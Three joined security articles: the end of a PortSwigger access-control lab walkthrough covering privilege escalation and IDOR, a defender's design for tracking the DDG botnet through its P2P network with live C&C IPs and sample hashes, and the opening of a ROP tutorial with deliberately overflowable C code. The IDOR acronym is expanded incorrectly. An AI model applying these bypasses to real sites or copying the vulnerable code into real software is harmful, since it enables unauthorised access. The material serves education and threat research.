应用程序会对每一个请求进行校验，所以我们删除指定用户也是需要这样绕过
这样我们就可以成功删除指定用户了
### 配套靶场2：可以绕过基于方法的访问控制
首先我们登录管理员账号，进入管理面板拦截提升carlos权限的请求，发到repeater中
然后我们登录普通用户，替换session
发现并不能成功实现垂直提权，我们尝试修改请求方法为POSTX
发现响应会有不同的提示，提示缺少参数，那应该就是URL参数吧，于是我们尝试修改为GET请求方法，右键”Change request method”修改
返回302，说明我们成功绕过了，于是我们将参数值修改为目标用户即可将其提升为管理员权限
### 水平提权
水平提权就是同类型用户之间可以不受访问控制策略的限制访问资源，比如我本来只能看到我的账户信息，但是水平提权可以让我看到其他人的账户信息，有的应用程通过URL参数值来定位当前查看的账户，通过修改该参数即可实现水平提权
有时候可能URL参数值并不能预测，比如采用全局唯一标识符(GUID)，但是我们可以在一些地方找到其他用户的GUID，这样依然可以实现水平提权查看其他用户的资源
虽然有的应用系统会将不合时宜的请求重定向，但是没准重定向的响应中会泄漏一些目标用户的信息，也是可以实现水平提权的
### 配套靶场1：由请求参数控制的用户ID
首先我们登录给定的账号，发现这样的请求参数
我们试着把请求参数id修改为目标用户
发现可以实现水平提权看到目标用户的API Key
### 配套靶场2：由请求参数控制的不可预测的用户ID
我们登录给定的账号，发现请求参数值换成了GUID
但是我们发现在评论区可以看到别的用户的GUID，我们就可以找到目标用户的GUID，替换一下
然后我们就获取到目标用户的API Key了
### 配套靶场3：由请求参数控制的在重定向中泄露数据的用户ID
我们想往常一样修改ID值为目标用户名，会发生重定向
但是我们还是可以在响应中找到泄漏的API Key
我们成功解决该题
### 从水平到垂直提权
从上面我们知道水平提权可以通过某种方式看到其他用户的信息，但是如果看到的是管理账号的登录凭证即可由水平提权上升到垂直提权
### 配套靶场：由请求参数控制的泄漏密码的用户ID
我们先登录给定的用户，发现响应中会显示用户的密码
然后我们把id修改为administrator，就可以在响应中得到它的密码
然后就能登录它然后删除指定用户了
### 不安全的直接对象引用(IDOR)
IDOR全称是Insecure redirect object reference
### 什么是IDOR？
IDOR就是应用程序仅根据用户输入直接引用对应的对象，这就很容易导致异常情况发生。通常IDOR还能导致水平提权和垂直提权
### 直接引用数据库对象的IDOR漏洞
首先我们看一下这样一个URL，通过参数值来访问不同账号的页面
`https://insecure-website.com/customer_account?customer_number=132355`
后端数据库通过参数customer_number定位用户，通过修改它的值实现访问不同用户的页面，因为可能访问到其他同类型用户也可能访问到特权用户，所以这是一个可能触发水平提权和垂直提权的例子
### 直接引用静态文件的IDOR漏洞
有时候敏感信息会被保存在服务器上的静态文件中，而且如果文件名遵循如递增等规律的话，如这样的URL
`https://insecure-website.com/static/12144.txt`
如果应用程序仅通过这些有一定规律文件名的文件保存用户的敏感信息的话，攻击者就可以简单通过修改文件名获取其他用户的敏感信息
### 配套靶场：不安全的直接对象引用
在首页我们发现一个在线聊天的功能点，然后我们点击”View transcript”，发现会下载一个txt文件，编号为2，那么我们将其改为1试试
我们看到了历史聊天记录中存有指定用户的密码，我们就可以成功登录该用户
### 多步骤流程中的访问控制漏洞
有的应用程序需要多个步骤才能实现某个重要功能，比如更新用户详细信息的管理功能
* 加载表单
* 提交修改
* 预览修改并确认
但是应用程序可能并未对所有步骤实施访问控制策略，所以可能会出现攻击者跳过前两步而直接通过修改第三步的某些数据就使用该功能
### 配套靶场：某一步骤没有实施访问控制策略的多步骤流程
首先我们登录administrator用户，然后把给用户提升权限的请求发到repeater中，并替换为普通用户的cookie字段，即可实现垂直提权，步骤与之前某一题目相似，过程略
### 基于Referer访问控制
有的应用程序仅通过识别Referer头部字段来判断发起请求的入口，如果某个敏感功能点仅通过识别Referer进行访问控制则可以通过篡改该字段值绕过该访问控制策略
### 配套靶场：基于Referer访问控制
我们先登录administrator用户，把给carlos提权的请求发到repeater中，发现referer是这样的
然后我们将cookie替换为普通用户的，就可以把目标用户提权了
然后我们就成功解决这道题了
### 基于Location访问控制
有的应用程序通过Location头部字段实施访问控制策略，这里的Location是地理位置，通常可以通过VPN等工具伪造Location绕过该策略
### 如何防止访问控制策略
burp给出了以下 几点防护建议
* 切勿仅通过混淆文件名进行访问控制
* 非公开资源默认情况下应该拒绝访问
* 尽可能使用单个应用程序范围的机制来执行访问控制
* 在代码中应该声明每个允许访问的资源的访问控制权限，其他资源均默认拒绝访问
* 严格审计并测试访问控制策略，确保其设计上没有明显的缺陷
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之服务器端漏洞篇 –
访问控制漏洞与越权专题的全部内容啦，本文主要介绍了访问控制模型以及常见的破坏访问控制策略的例子，脆弱的访问控制策略会给应用程序带来非常严重的后果，所以本专题也是非常重要的一个专题，大家如果有任何问题，欢迎在评论区讨论哦，嘻嘻嘻。 | 社区文章 |
# 以P2P的方式追踪 DDG 僵尸网络(下)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本系列文章从 Botnet(僵尸网络)的基础概念说起，围绕实现了 P2P 特性的 DDG.Mining.Botnet，一步一步设计一个基于 P2P
> 的僵尸网络追踪程序，来追踪 DDG。DDG 是一个目前仍十分活跃的 Botnet，读懂本文，再加上一些辅助分析工作，就可以自行实现一套针对 DDG 的
> P2P 僵尸网络跟踪程序。内容分 上、下 两部分：
>
> 1. **上** 半部分写本人理解的 Botnet 相关概念，然后介绍 DDG Botnet，着重介绍其涉及的 P2P 特性；
> 2. **下** 半部分写如何根据 DDG.Mining.Botnet 的 P2P 特性，来设计一个僵尸网络跟踪程序
> DDG.P2P.Tracker，用以遍历 Botnet 中的节点、及时获取最新的云端配置文件、及时下载到 Botnet 中最新的恶意样本、及时获知
> Botnet 中最新启用的 C&C 服务器。
>
**上半部分传送门** ： [以P2P的方式追踪 DDG 僵尸网络（上）](https://www.anquanke.com/post/id/177665)
## 3\. 追踪程序设计
### 3.1 追踪程序的执行流程
前文说过，设计追踪程序的最终目标，有 4 个，其中涉及到 Peer 信息的获取和保存、样本与配置数据的解析和保存、记录最新启用的 C&C Server
……这样一来，就不可避免地将相关数据和文件保存到本地或数据库中。
我们可以把最新一次探测到的 P2P 节点信息存储到数据库中，把样本文件、配置数据、最新的 C&C Server 列表保存到本地文件中。根据
**Memberlist** 框架的实现，程序要调用 `memberlist.Join()` 函数来加入一个已存在的 P2P 网络，而这个函数需要一个 IP
List( Go 变量 `[] string` ，下文简称 **init_peers** ) 来作为加入 P2P 网络的“介绍人”。当然，这个 IP
List 中的 IP，应该是当前已加入 P2P 网络的 IP (按照这个概念，这些 IP 应该是对应常规 P2P 网络中的 Node，P2P 网络中的
**Node** 和 **Peer** 的概念可以自行了解，为了简化描述，本文把 P2P 网络中的节点统称为 **Peer** )。
前文还说过，ddg 主样本中有一份内置硬编码的 HUB IP List。其实，这一份 HUB IP List 就可以拿来当做
`memberlist.Join()` 函数的参数，即 **init_peers** 。为了方便程序运行，我们可以把这一份 IP List
提前保存到数据库中，追踪程序每次运行，都要先从数据库中读取最新的 **init_peers** ，通过 **init_peers** 加入 ddg 的
P2P 网络。
这里先说一下追踪程序的概要执行流程，后面分步骤详细说明：
1. 从数据库中读取 **init_peers** IP List ，并调用 **memberlist.Join()** 加入 ddg 的 P2P 网络；
2. 成功加入 P2P 网络后，调用 `memberlist.Members()` 获取当前网络中的最新 Peers List；
3. 解析获取到的 Peers List 中的 Peers 信息，将每个 Peer 信息拆解成 **IP:Port:Versioin:Hash:DateTime** 5 元组，存到数据库中；
4. 将每个 Peer IP ，拼接 URL 串 `http://<peer_ip>:8000/slave` ，并向该 URL 发送 Post 请求，以获取经过 msgPack 编码的配置数据；
5. 如果成功从某个 Peer 上获取到了配置数据，则：
* 将该 Peer IP 暂存到一个非重复的、并发安全的 IP List 结构中；
* 保存 RAW 格式的配置数据到本地；
* 用该 Peer IP 拼接 URL 串 `http://<peer_ip>:8000/i.sh` ，并用 HTTP GET 请求的方式尝试获取最新的恶意 Shell 脚本；
* 对比上述 i.sh 下载链接与刚获取到的最新配置数据中执行的 i.sh 下载链接是否相同，不同则对最新配置数据中指定的 i.sh 脚本也做下载&解析操作。
6. 如果成功获取到 i.sh 脚本，则解析其中的样本 Download URL，下载样本，同本地已下载到的其他样本 MD5 和下载 URL 作对比，MD5 和 下载 URL 其中之一是新的，就保留样本，否则删除刚下载到的样本。对于新样本，通过 Slack 的 Message 接口 Push 相关消息到自己的 Slack Channel 中；
7. 最后，将非重复的最新活跃的 C&C Server 列表保存到本地文件中。
### 3.2 加入 P2P 网络
前文提到，调用 `memberlist.Join()` 来加入 ddg 的 P2P 网络，需要一个 **init_peers** 的 IP List。这个
IP List 最初来自 ddg 主样本中硬编码的 HUB IP List，而以后追踪程序每次执行，都要先从数据库中获取这个 IP
List。这里先给出一个可用的数据表结构，用来存储 Peer 信息：
+---------+----------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+----------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | <null> | auto_increment |
| ip | char(16) | NO | | <null> | |
| port | smallint(5) unsigned | NO | | <null> | |
| version | smallint(5) unsigned | NO | | <null> | |
| hash | char(32) | YES | | <null> | |
| tdate | datetime | NO | | <null> | |
+---------+----------------------+------+-----+---------+----------------+
最新的 Peers 信息在我们加入 ddg 的 P2P 网络后可以调用 `memberlist.Members()` 来获取。在
**Memberlist** 框架的源码中，这个函数返回的是一个 Node 信息指针列表 (Go 语言变量 `[]*Node`)。Memberlist
框架中的 **Node** 结构体的定义如下：
// Node represents a node in the cluster.
type Node struct {
Name string
Addr net.IP
Port uint16
Meta []byte // Metadata from the delegate for this node.
PMin uint8 // Minimum protocol version this understands
PMax uint8 // Maximum protocol version this understands
PCur uint8 // Current version node is speaking
DMin uint8 // Min protocol version for the delegate to understand
DMax uint8 // Max protocol version for the delegate to understand
DCur uint8 // Current version delegate is speaking
}
其中第一项 **Name** 是形如 **VerNumber.HashValue** 的一个字符串，如：
**3020.b1634b9e0c747a6ae728e07c40883e2d** 。这里的 Hash 值在 Memberlist 框架中被定义为
**UID** ，每一个 Peer 都不同，其值是通过对当前 Peer 主机的网络配置用 MD5 算法计算得出。
Memberlist 的[开源项目主页](https://github.com/hashicorp/memberlist)上，有一个简单的 Usage
Demo，演示加入一个集群(本文就指 ddg 的 P2P 网络了)并获取节点信息的最简方法：
/* Create the initial memberlist from a safe configuration.
Please reference the godoc for other default config types.
http://godoc.org/github.com/hashicorp/memberlist#Config
*/
list, err := memberlist.Create(memberlist.DefaultLocalConfig())
if err != nil {
panic("Failed to create memberlist: " + err.Error())
}
// Join an existing cluster by specifying at least one known member.
n, err := list.Join([]string{"1.2.3.4"})
if err != nil {
panic("Failed to join cluster: " + err.Error())
}
// Ask for members of the cluster
for _, member := range list.Members() {
fmt.Printf("Member: %s %sn", member.Name, member.Addr)
}
// Continue doing whatever you need, memberlist will maintain membership
// information in the background. Delegates can be used for receiving
// events when members join or leave.
可以看到在执行 **Join()** 函数加入集群之前，还要调用 **memberlist.Create()** 函数生成一个 Peer 对象(代表当前
Peer)，然后用当前对象执行 **Join** 以及后续操作。这里有一个关键点是当前 Peer 的配置。这份配置的底层结构体定义，在
[Memberlist 的 Godoc
文档](https://godoc.org/github.com/hashicorp/memberlist#Config)中有详细说明，此处不赘述。这份配置结构中的两个关键配置项(网络配置和密钥)，关乎到追踪程序能否成功加入到
ddg 的 P2P 网络中，以及加入之后能否正常与其他 Peers 通信，这两个关键点要 **逆向 ddg 主样本** 和熟知 **Memberlist
的原理和实现** 才能搞定，这里也不赘述。想要自行实现这么一套追踪程序，需要自行完成这两个工作。
需要一提的是，配置项中有一个关于日志输出的配置项：
// Logger is a custom logger which you provide. If Logger is set, it will use
// this for the internal logger. If Logger is not set, it will fall back to the
// behavior for using LogOutput. You cannot specify both LogOutput and Logger
// at the same time.
Logger *log.Logger
我们要用到日志功能，把全局的日志句柄配置在这里，这样 Memberlist 整个框架的运行日志都会打到我们指定的日志文件中。
### 3.3 获取并解析最新的 Peers List
前文提到，获取最新的 Peers List，只需在加入 ddg 的 P2P 网络后调用 `memberlist.Members()` 即可。
其实只说了一半，因为这里还有个偶然发现的小 Trick：这个函数获取到的 Peers List 数量并不大，反倒是从 Memberlist
框架的运行日志中可以抽取更多 Peer 信息。
根据 Memberlist 的框架特性，当前节点加入 P2P 网络之后，会随机与其他 Peers 以 Gossip
的形式通信，这种通信具有节点探测的功能。通信的结果会记录在日志中，尤其是通信失败的日志，记录的比较详细。一条失败的 Gossip 通信日志如下：
2019/01/23 08:44:53 [ERR] memberlist: Failed to send gossip to 58.144.150.24:7946: write udp 127.0.0.1:7946->58.144.150.24:7946: sendto: invalid argument
打出这段日志的代码，在
[memberlist/stat.go](https://github.com/hashicorp/memberlist/blob/master/state.go)
中实现：
不过，这段错误信息还不足以提供我们想要的 Peer Info 5 元组。那就动手 Patch 一下这段代码，让它打出我们想要的信息。Patch
后的代码如下：
然后，打出来的日志内容就会是如下形式：
2019/02/24 18:01:06 [ERR] memberlist: Failed to send gossip to (114.118.18.70:7946:3020:91f7f67194e0d31d9b58d9e6bef4f711)
这样，既缩减了日志文件的体积，也能精准捕获到我们需要的信息。然后，就可以把 `memberlist.Members()` 函数获取到的 Peers
信息和日志文件中打出来的 Peers 信息汇总起来，保存到一个变量中，以待后用。
### 3.4 保存 Peers 信息
将上述步骤获取到的 Peers 信息保存到数据库中，最新的 20 条 Peers 信息示例如下：
### 3.5 探测最新活跃的 C&C，拉取最新的配置数据
对上面获取到的 Peers Info 中的每一个 Peer IP，拼接成 URL 串 `http://<peer_ip>:8000/slave` ，向该
URL 发 Post 请求。能获取符合格式的配置数据的，即为当前存活的 C&C IP。把存活的 C&C Host 信息保存到一个非重复的、并发安全的
List 结构的变量中，最后把这份 C&C Host 列表保存到本地文件中。本地 C&C Host 文件列表部分内容如下：
➜ tail cc_server.list
20190503060101 132.148.241.138:8000
20190503060101 109.237.25.145:8000
20190503060101 104.128.230.16:8000
20190503060101 117.141.5.87:8000
20190506060101 132.148.241.138:8000
20190506060101 104.128.230.16:8000
20190506060101 117.141.5.87:8000
20190506120102 104.128.230.16:8000
20190506120102 132.148.241.138:8000
20190506120102 117.141.5.87:8000
前面提到过 ddg 配置数据是经过 msgPack 编码的，前文也列出了解码后的配置数据示例。受限于 Memberlist
的框架实现，我们的追踪程序也只能用 Go 语言来实现。要解码这份配置数据，直接调用 msgPack 的 Go 语言 API
是不够的，还需要逆向分析出配置数据的正确结构，并用 Go 语言的语法来定义这个配置数据的结构。下面是掉了两把头发才逆向出来的配置数据结构，以 Go
语言来定义的结构体：
import msgpack
/*
Salve conf struct
*/
type Conf struct {
Data []byte
Signature []byte
}
type ConfData struct {
CfgVer int
Config MainConf
Miner []MinerConf
Cmd CmdConf
}
type MainConf struct {
Interval string
}
type MinerConf struct {
Exe string
Md5 string
Url string
}
type CmdConf struct {
AAredis CmdConfDetail
AAssh CmdConfDetail
Sh []ShConf
Killer []ProcConf
LKProc []ProcConf
}
type CmdConfDetail struct {
Id int
Version int
ShellUrl string
Duration string
NThreads int
IPDuration string
GenLan bool
GenAAA bool
Timeout string
Ports []int
}
type ShConf struct {
Id int
Version int
Line string
Timeout string
}
type ProcConf struct {
_msgpack struct{} `msgpack:",omitempty"`
Id int
Version int
Expr string
Timeout string
}
将解码成功的配置数据打到日志文件中，只把未解码的 RAW 配置数据保存到本地。最新获取到的配置数据如下：
➜ ll -t slave_conf | head
total 4.6M
2.0K May 6 12:34 117_141_5_87__20190506123410.raw
2.0K May 6 12:34 132_148_241_138__20190506123410.raw
2.0K May 6 12:33 104_128_230_16__20190506123309.raw
2.0K May 6 06:33 104_128_230_16__20190506063312.raw
2.0K May 6 06:31 117_141_5_87__20190506063142.raw
2.0K May 6 06:30 132_148_241_138__20190506063042.raw
2.0K May 6 00:39 104_128_230_16__20190506003932.raw
2.0K May 6 00:37 117_141_5_87__20190506003723.raw
2.0K May 6 00:34 132_148_241_138__20190506003442.raw
### 3.6 下载最新样本
对于上面步骤中，每一个可以获取合格配置数据的 C&C IP，拼接 URL 串 `http://<cc_ip>:8000/i.sh` ，这是 ddg
目前用到的最新恶意 Shell 脚本的下载链接。通过 HTTP GET 请求下载这个 i.sh 文件，跟本地已有的、相同 URL 下载到的 i.sh
文件对比 MD5 值，如果 MD5 跟旧的 i.sh 相同，则丢弃刚下载 i.sh 文件。
如果最新的 i.sh 文件跟旧 i.sh 文件 MD5 不同，则进行以下两步操作：
1. 对比上述 i.sh 下载链接与刚获取到的最新配置数据中执行的 i.sh 下载链接是否相同，不同则对最新配置数据中指定的 i.sh 脚本也做下载&解析操作；
2. 成功获取到 i.sh 脚本，则解析其中的样本 Download URL，下载样本，同本地相同 URL 下载到的样本对比 MD5 和 FileName(其实是 Download URL)，如果 MD5 或者 FileName 不同，则保留样本，否则删除刚下载到的样本。样本 MD5 和 FileName 的对比结果，有三种情况：
* 仅仅 MD5 不同而 FileName 相同，说明同一个 URL 中下到了不同 MD5 的样本，即样本有更新；
* 仅仅 FileName 不同而 MD5 相同，则不同的 URL 想到了相同 MD5 的样本，通常意味着 C&C 有变动；
* 两者都不同则说明 C&C 有变动并且样本有更新。
截至目前，我通过 ddg 追踪程序监控到的 **一部分** ddg 样本如下：
➜ ll sample
total 115M
1.7K 104_236_156_211__8000__i_sh+8801aff2ec7c44bed9750f0659e4c533
8.8M 104_236_156_211__8000__static__3019__fmt_i686+8c2e1719192caa4025ed978b132988d6
11M 104_236_156_211__8000__static__3019__fmt_x86_64+d6187a44abacfb8f167584668e02c918
1.8K 104_248_181_42__8000__i_sh+dc477d4810a8d3620d42a6c9f2e40b40
3.6M 104_248_181_42__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
3.9M 104_248_181_42__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
1.9K 104_248_251_227__8000__i_sh+55ea97d94c6d74ceefea2ab9e1de4d9f
3.6M 104_248_251_227__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
3.9M 104_248_251_227__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
1.1K 117_141_5_87__8000__i_sh+100d1048ee202ff6d5f3300e3e3c77cc
1.7K 117_141_5_87__8000__i_sh+5760d5571fb745e7d9361870bc44f7a3
8.8M 117_141_5_87__8000__static__3019__fmt_i686+8c2e1719192caa4025ed978b132988d6
11M 117_141_5_87__8000__static__3019__fmt_x86_64+d6187a44abacfb8f167584668e02c918
3.6M 117_141_5_87__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
3.9M 117_141_5_87__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
1.3K 119_9_106_27__8000__i_sh+09a3a0f662738279e344b2a38dc93ecb
1.2K 119_9_106_27__8000__i_sh+9dc32a4a87d2b579d03b6adb27e3f604
1.6K 119_9_106_27__8000__i_sh+b8a64e8bfe4a69c36760505cc757c38d
3.6M 119_9_106_27__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
3.9M 119_9_106_27__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
9.4M 119_9_106_27__8000__static__3022__ddgs_i686+c32bd921a71d82696517c22021173480
11M 119_9_106_27__8000__static__3022__ddgs_x86_64+79d762d1ff16142ea3bdae560558e718
1.7K 132_148_241_138__8000__i_sh+44feb3cd31b957e24b18f97c46b57431
1.1K 132_148_241_138__8000__i_sh+fcc003280d8e9060e00fb7273d8edee7
8.8M 132_148_241_138__8000__static__3019__fmt_i686+8c2e1719192caa4025ed978b132988d6
11M 132_148_241_138__8000__static__3019__fmt_x86_64+d6187a44abacfb8f167584668e02c918
3.6M 132_148_241_138__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
3.9M 132_148_241_138__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
➜
➜ md5sum sample/*
8801aff2ec7c44bed9750f0659e4c533 104_236_156_211__8000__i_sh+8801aff2ec7c44bed9750f0659e4c533
8c2e1719192caa4025ed978b132988d6 104_236_156_211__8000__static__3019__fmt_i686+8c2e1719192caa4025ed978b132988d6
d6187a44abacfb8f167584668e02c918 104_236_156_211__8000__static__3019__fmt_x86_64+d6187a44abacfb8f167584668e02c918
dc477d4810a8d3620d42a6c9f2e40b40 104_248_181_42__8000__i_sh+dc477d4810a8d3620d42a6c9f2e40b40
3ebe43220041fe7da8be63d7c758e1a8 104_248_181_42__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
d894bb2504943399f57657472e46c07d 104_248_181_42__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
55ea97d94c6d74ceefea2ab9e1de4d9f 104_248_251_227__8000__i_sh+55ea97d94c6d74ceefea2ab9e1de4d9f
3ebe43220041fe7da8be63d7c758e1a8 104_248_251_227__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
d894bb2504943399f57657472e46c07d 104_248_251_227__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
100d1048ee202ff6d5f3300e3e3c77cc 117_141_5_87__8000__i_sh+100d1048ee202ff6d5f3300e3e3c77cc
5760d5571fb745e7d9361870bc44f7a3 117_141_5_87__8000__i_sh+5760d5571fb745e7d9361870bc44f7a3
8c2e1719192caa4025ed978b132988d6 117_141_5_87__8000__static__3019__fmt_i686+8c2e1719192caa4025ed978b132988d6
d6187a44abacfb8f167584668e02c918 117_141_5_87__8000__static__3019__fmt_x86_64+d6187a44abacfb8f167584668e02c918
3ebe43220041fe7da8be63d7c758e1a8 117_141_5_87__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
d894bb2504943399f57657472e46c07d 117_141_5_87__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
09a3a0f662738279e344b2a38dc93ecb 119_9_106_27__8000__i_sh+09a3a0f662738279e344b2a38dc93ecb
9dc32a4a87d2b579d03b6adb27e3f604 119_9_106_27__8000__i_sh+9dc32a4a87d2b579d03b6adb27e3f604
b8a64e8bfe4a69c36760505cc757c38d 119_9_106_27__8000__i_sh+b8a64e8bfe4a69c36760505cc757c38d
3ebe43220041fe7da8be63d7c758e1a8 119_9_106_27__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
d894bb2504943399f57657472e46c07d 119_9_106_27__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
c32bd921a71d82696517c22021173480 119_9_106_27__8000__static__3022__ddgs_i686+c32bd921a71d82696517c22021173480
79d762d1ff16142ea3bdae560558e718 119_9_106_27__8000__static__3022__ddgs_x86_64+79d762d1ff16142ea3bdae560558e718
44feb3cd31b957e24b18f97c46b57431 132_148_241_138__8000__i_sh+44feb3cd31b957e24b18f97c46b57431
fcc003280d8e9060e00fb7273d8edee7 132_148_241_138__8000__i_sh+fcc003280d8e9060e00fb7273d8edee7
8c2e1719192caa4025ed978b132988d6 132_148_241_138__8000__static__3019__fmt_i686+8c2e1719192caa4025ed978b132988d6
d6187a44abacfb8f167584668e02c918 132_148_241_138__8000__static__3019__fmt_x86_64+d6187a44abacfb8f167584668e02c918
3ebe43220041fe7da8be63d7c758e1a8 132_148_241_138__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
d894bb2504943399f57657472e46c07d 132_148_241_138__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
综合以上描述，本地文件目录及文件示例如下：
- ddg_tracker/
|-- cc_server.list
|-- log/
| |-- 20190123164450.log
| |-- 20190123180232.log
| |-- 20190123211837.log
| |-- 20190124000101.log
| |-- 20190124060101.log
| `-- ......
|-- sample/
| |-- 104_236_156_211__8000__i_sh+8801aff2ec7c44bed9750f0659e4c533
| |-- 104_236_156_211__8000__static__3019__fmt_i686+8c2e1719192caa4025ed978b132988d6
| |-- 104_236_156_211__8000__static__3019__fmt_x86_64+d6187a44abacfb8f167584668e02c918
| |-- 104_248_181_42__8000__i_sh+dc477d4810a8d3620d42a6c9f2e40b40
| |-- 104_248_181_42__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
| |-- 104_248_181_42__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
| |-- 104_248_251_227__8000__i_sh+55ea97d94c6d74ceefea2ab9e1de4d9f
| |-- 104_248_251_227__8000__static__3020__ddgs_i686+3ebe43220041fe7da8be63d7c758e1a8
| |-- 104_248_251_227__8000__static__3020__ddgs_x86_64+d894bb2504943399f57657472e46c07d
| |-- 117_141_5_87__8000__i_sh+100d1048ee202ff6d5f3300e3e3c77cc
| |-- 117_141_5_87__8000__i_sh+5760d5571fb745e7d9361870bc44f7a3
| |-- 117_141_5_87__8000__static__3019__fmt_i686+8c2e1719192caa4025ed978b132988d6
| `-- ......
`-- slave_conf/
|-- 104_236_156_211__20190123165004.raw
|-- 104_236_156_211__20190123185208.raw
|-- 104_236_156_211__20190123223044.raw
|-- 104_236_156_211__20190124012600.raw
|-- 132_148_241_138__20190224191449.raw
`-- ......
至此，我们就完成了 ddg
追踪程序的设计，为这个程序设置一个计划任务，定时运行一次即可。我个人的源码暂时不会放出来，有兴趣的朋友可以自己动手实现一下。目前的追踪成果(uniq
peer ip):
一次探测到的活跃节点数：
部分 DDG 更新的 Slack 消息推送： | 社区文章 |
# 【技术分享】ROP技术入门教程
##### 译文声明
本文是翻译文章，文章来源：ketansingh.net
原文地址：<https://ketansingh.net/Introduction-to-Return-Oriented-Programming-ROP/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[beswing](http://bobao.360.cn/member/contribute?uid=820455891)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
不可否认的是，不管是CTF赛事，还是二进制漏洞利用的过程中，ROP都是一个很基础很重要的攻击技术。
这一段是译者自己加的，与原文无关。
ROP的全称为Return-oriented
programming（返回导向编程），这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）。
另外译者推荐，如果想更好的学习ROP技术，可以参考蒸米大神的一步一步学ROP系列文章，请自行查找。
ROP是一种攻击技术，其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前，立即间接地执行精心挑选的指令或机器指令组。
因为所有执行的指令来自原始程序内的可执行存储器区域，所以这避免了直接代码注入的麻烦，并绕过了用来阻止来自用户控制的存储器的指令的执行的大多数安全措施。
因此，ROP技术是可以用来绕过现有的程序内部内存的保护机制的。在学习下面的内容之前，先确保自己已经了解了基本的堆栈溢出的漏洞原理。
**
**
**一个简单的经典缓冲区溢出例子**
#include <unistd.h>
#include <stdio.h>
void vuln(){
char buffer[10];
read(0,buffer,100);
puts(buffer);
}
int main() {
vuln();
}
这个程序有明显的缓冲区溢出攻击。在vuln()函数中设置了10个字节的缓冲区，而我们读取的字节高达100个字节。read()的滥用导致了缓冲区溢出。
我们可以看看vuln函数调用时候，堆栈的情况：
ADDRESS DATA
0xbfff0000 XX XX XX XX <- buffer
0xbfff0004 XX XX XX XX
0xbfff0008 XX XX XX XX
0xbfff000c XX XX XX XX
........
0xbfff0020 YY YY YY YY <- saved EBP address
0xbfff0024 ZZ ZZ ZZ ZZ <- return address
当缓冲区填充正确的大小时，可以修改保存的返回地址，允许攻击者控制EIP，从而允许他执行任意任意代码。
**
**
**缓冲区溢出防御措施**
但是，在现代的系统中，有一些防御措施可以避免被攻击:
ALSR
Stack Canaries
NX/DEP
防御措施大概有这些内容，原文作者只是简单的介绍了一下，如果想更清晰了解，可以参考译者[博客](http://bestwing.me/2016/12/26/checksec%E5%8F%8A%E5%85%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/)。
**NX/DEP**
DEP表示数据执行预防，此技术将内存区域标记为不可执行。通常堆栈和堆被标记为不可执行，从而防止攻击者执行驻留在这些区域的内存中的代码。
**ASLR**
ASLR表示地址空间层随机化。这种技术使共享库，堆栈和堆被占用的内存的地址随机化。这防止攻击者预测在哪里采取EIP，因为攻击者不知道他的恶意有效载荷的地址。
**Stack Canaries**
下文简称为:Canary
在这种技术中，编译器在堆栈帧的局部变量之后和保存的返回地址之前放置一个随机化保护值。在函数返回之前检查此保护，如果它不相同，然后程序退出。我们可以将它可视化为:
ADDRESS DATA
0xbfff0000 XX XX XX XX <- buffer
0xbfff0004 XX XX XX XX
0xbfff0008 XX XX XX XX
0xbfff000c CC CC CC CC <- stack canary
........
0xbfff0020 YY YY YY YY <- saved EBP address
0xbfff0024 ZZ ZZ ZZ ZZ <- return address
如果攻击者试图修改返回地址，Canayr也将不可避免地被修改。因此，在函数返回之前，检查这个Canayr，从而防止利用。
那么我们如何绕过这些防御措施呢？
**Return Oritented Programming (ROP编程)**
ROP是一个复杂的技术，允许我们绕过DEP和ALSR，但不幸的是（或对于用户来说幸运的是）这不能绕过Canary，但如果有额外的内存泄漏，我们可以通过泄露，leak
canary的值和使用它。
ROP re-uses ，即我们可以重用Bin文件或者Libc文件(共享库)中的代码。这些代码，或者说指令，通常被我们称作“ROP Gadget”。
下文，我们将来分析一下，一个特殊的ROP例子，我们称作Return2PLT。应该注意的是，只有libc基地址被随机化，特定函数从其基地址的偏移总是保持不变。如果我们可以绕过共享库基地址随机化，即使ASLR打开，也可以成功利用漏洞程序。
让我们分析下，下面这个脆弱的代码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
void grant() {
system("/bin/sh");
}
void exploitable() {
char buffer[16];
scanf("%s", buffer);
if(strcmp(buffer,"pwned") == 0) grant();
else puts("Nice tryn");
}
int main(){
exploitable();
